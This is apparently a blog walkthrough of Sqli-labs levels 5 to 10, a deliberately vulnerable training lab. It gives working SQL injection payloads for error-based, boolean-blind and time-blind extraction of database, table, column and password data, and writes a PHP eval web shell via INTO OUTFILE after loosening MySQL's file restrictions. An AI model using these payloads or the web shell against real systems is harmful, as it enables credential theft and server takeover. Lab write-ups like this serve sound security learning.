[Sqli-labs] Registro de entrada 5 ~ 10

[Sqli-labs] Registro de entrada 5 ~ 10


[Menos-5] Basado en "inyección de error

1. Proceso de prueba

?id='

imagen-20210308193206319

// Del análisis del contenido del error, debe ser la inyección de caracteres

?id=1' and 1=1--+    //回显You are in...
?id=1' and 1=2--+    //回显为空
-- 经过多次尝试u,发现除了报错就是回显You are in...或者回显为空

// Se puede juzgar preliminarmente, es una inyección de error o una inyección ciega

// Intenta usar la inyección de error

  • // Usa updatexml ()
?id=1' and updatexml(1,concat(0x7e,version()),4)--+

UPDATEXML (XML_document, XPath_string, new_value); El
primer parámetro: XML_document está en formato String, el nombre del objeto del documento XML y el texto es Doc. El
segundo parámetro: XPath_string (una cadena en formato XPath). Si no ' Para comprender la sintaxis de Xpath , puede encontrar tutoriales en línea. (La declaración de inyección se construye aquí) El
tercer parámetro: nuevo_valor, formato de cadena, reemplaza los datos encontrados que cumplen las condiciones

  • ¿Por qué usar concat () para conectar 0x7e?

    0x7e es la representación hexadecimal de ~, que está conectada con la versión () para evitar que se coman la información devuelta.

imagen-20210308195701129

Rompió con éxito la información de la versión.

  • // Usa la función extractvalue ()

extractvalue (XML_document, XPath_string)

Mismo uso que updatexml

?id=1' and extractvalue(1,concat(0x7e,database()))--+

imagen-20210308200825796

// Nombre de la tabla de tormentas

?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1)))--+

imagen-20210308201211561

// Romper el nombre del campo

?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1)))--+

imagen-20210308201421930

// Romper el valor del campo

?id=1' and extractvalue(1,concat(0x7e,(select concat_ws('~',username,password) from security.users limit 1)))--+

imagen-20210308201709582

  • // Usa la función floor ()

    Primero pruebe la cantidad de campos en la consulta principal:

    Utilice el método anterior y ordene por para medir 3

    Construya la declaración floor ():

    ?id=1' and 1=2 union select 1,count(*),concat_ws('~',version(),floor(rand()*2),user()) as a from users group by a--+
    

    imagen-20210308212151315

    Debido a que la función floor () tiene ciertas posibilidades de informar un error, debe ejecutarse varias veces.

2. Análisis del código fuente

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
    
    
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
    
    
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
    
    
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());    //动态输出点只有mysql报错输出
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else {
    
     echo "Please input the ID as parameter with numeric value";}

?>

El código de análisis está disponible. El punto de salida dinámico es solo la salida de error de mysql, por lo que se puede usar la inyección de error. Las funciones de inyección de error comunes incluyen updatexml (), extractvalue (), floor (), etc.


[Menos-6] Basado en la inyección de error ""

1. Proceso de prueba

?id=1       //回显you are in...
?id='       //回显失败
?id=\       //回显报错,判断出是基于"的字符型注入

imagen-20210308215119383

Después de muchos intentos, descubrí que solo hay tres situaciones para el eco: mysql informa un error, el eco en el que se encuentra ... y el eco está vacío

Entonces, el juicio inicial es informar una inyección de error

// Usa la función updatexml ()

Número de versión de Storm

?id=1" and  updatexml(1,concat(0x7e,version()),3)--+

imagen-20210308215601857

// Usa la función extractvalue ()

Nombre de la tormenta

?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1)))--+

imagen-20210308215839385

// Usa la función floor ()

Nombre del campo de tormenta

?id=1" and 1=2 union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1),0x7e,floor(rand()*2)) as a  from users group by a--+

imagen-20210308220438369

2. Análisis del código fuente

Comparado con el nivel anterior, solo está cerrado


[Less-7] Basado en ')) inyección de escritura de archivo

Lo intenté muchas veces pero fallé. Mira la página que hace eco de que estás en ... usa el archivo de salida ..., puede ser una inyección de archivo de escritura

Condiciones de explotación:

1. Para probar el método de cierre del back-end

2. Después de encontrar el método de cierre, debe conocer la ruta que puede escribir el sitio web.

Para este nivel, es más difícil resolver las dos condiciones anteriores, así que solo puedo jejejeje.

Eche un vistazo al código fuente:


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
    
    
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";   //闭合方式竟然是双括号,额贼。。。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
    
    
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
    
    
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());         //nnd把sql报错都屏蔽了
	echo "</font>";  
	}
}
	else {
    
     echo "Please input the ID as parameter with numeric value";}

?>

A partir del análisis del código anterior, se cierra en la forma de ')), y la ruta del sitio web también se conoce D: \\ phpstudy_pro \\ www \\ sqli_labs \\ less-7, cuando haya terminado, simplemente abra es directamente

Pruebe la siguiente declaración:

?id=1')) union select database(),user(),version() into outfile 'D:\\phpstudy_pro\\www\\sqli-labs\\less-7\\database.txt'--+

Resultado fallido

Pruébelo en la línea de comando en su lugar:

imagen-20210309101843166

Debe ser que la configuración de mysql no permite escribir archivos

Después de verificar la información en línea:

Si desea implementar mysql para escribir archivos en el directorio designado del sitio web, debe cumplir con dos condiciones: 1. El directorio correspondiente del sitio web debe tener permisos de escritura; 2. mysql permite permisos de importación y exportación.

mysql permite permisos de importación y exportación, determinados por el parámetro secure_file_priv.
El parámetro secure-file-priv se utiliza para restringir LOAD DATA, SELECT… OUTFILE y LOAD_FILE () al directorio especificado.
Vea el parámetro secure-file-priv de mysql:show global variables like '%secure%';

imagen-20210309102318251

Cuando el valor de secure_file_priv es nulo, significa que mysqld no puede importar / exportar.
Cuando el valor de secure_file_priv es / tmp /, significa que la importación / exportación de mysqld solo puede ocurrir en el directorio / tmp /.
Cuando el valor de secure_file_priv no tiene un valor específico (valor nulo), lo que significa que la importación / exportación de mysqld no está restringida.
Windows agrega secure_file_priv = "" bajo mysqld en my.ini.
Para Linux, agregue secure_file_priv = "" en /ect/my.cnf.

imagen-20210309102818335

Como se muestra en la figura, la modificación se ha realizado correctamente.

Continúe trabajando: ¡escriba el éxito!

imagen-20210309103249357

Intenta escribir un pony:

?id=1')) union select 1,2,'<?php @eval($_POST['X']);?>' into outfile 'D:\\phpstudy_pro\\www\\sqli-labs\\less-7\\muma.php'--+

Conéctelo con un helicóptero o una espada de hormigas:

imagen-20210309105403125

¡éxito!


[Menos-8] Persianas booleanas basadas en '

1. Proceso de prueba

?id=1' and 1=1--+     //回显you are in....
?id=1' and 1=2--+     //回显为空
//单引号和\测试回显皆为空

Entonces, el juicio preliminar es un ciego booleano.

?id=1' and ascii(substr(user(),1,1))=113--+      //回显为空
?id=1' and ascii(substr(user(),1,1))=114--+     //回显正常,说明用户名第一个字母为r

Pasos de inyección ciega manual:

//猜解数据库名
//猜解数据库名,用ascii()函数将逐个字母转换为ascii码(a~z:97~122; A~Z:65~90),利用二分法逐个试出数据库名
?id=1' and ascii(substr(database(),1,1))=113--+ 

#########################################################################
//猜解表名
//猜解当前数据库表的数目
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
//猜解第一个表名长度用length()函数,逐个去试
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1))=6--+
//猜解第一个表名,用ascii()函数转换再用二分法构造不等式和等式去比较
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))=101--+
//猜解其他表名需改动limit参数,然后逐个去试

###########################################################################
//猜解字段名
//首先猜解字段个数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
//猜解第一个字段名长度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1))=2--+
//猜解第一个字段名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1),1,1))=105--+
//猜解其他字段名与上述过程类似

##############################################################################
//猜解字段值
//首先猜解username字段的第一个值的长度
?id=1' and length((select username from security.users limit 1))=4--+
//猜解username字段的第一个字段值
?id=1' and ascii(substr((select username from security.users limit 1),1,1))=68--+   
//猜解其他字段值过程与上述相似,更改limit参数值即可

2. Análisis del código fuente

Sin nuevas funciones


[Menos-9] Tiempo ciego basado en '

1. Proceso de prueba

Prueba preliminar, no importa lo que ingreses, estás en ...

Utilice las funciones if (), sleep () para la inyección a ciegas de tiempo

######################猜解数据库名########################################################
//猜解数据库名长度
?id=1' and if(length(database())=8,sleep(1),1)--+     //页面延迟1s
//猜解数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(1),1)--+     //页面延迟1s,说明数据库名第一个字母为s
//更改substr()函数的参数,测出其他字母

#####################猜解表名##############################################################、
//猜解数据库中表的数目
//猜解表名长度
//猜解表名

####################猜解字段名#############################################################
//猜解表中字段的数目
//猜解字段的长度
//猜解字段名

####################猜解字段内容############################################################
//猜解字段值长度
//猜解字段值

El procedimiento de prueba es similar al nivel anterior, excepto que se puede juzgar en función de si hay un retraso en el eco.

2. Análisis del código fuente

No hay gran diferencia con el nivel anterior, excepto que el eco de todas las situaciones se ha cambiado a un tipo, así que usa el tiempo ciego.


[Menos-10] Tiempo ciego basado en "

La diferencia entre el décimo nivel y el noveno nivel es sólo en el método de cierre. El décimo nivel adopta "cierre" o una inyección ciega basada en el tiempo. El proceso de prueba es el mismo que el nivel anterior.

Supongo que te gusta

Origin blog.csdn.net/qq_43665434/article/details/114588684
Recomendado
Clasificación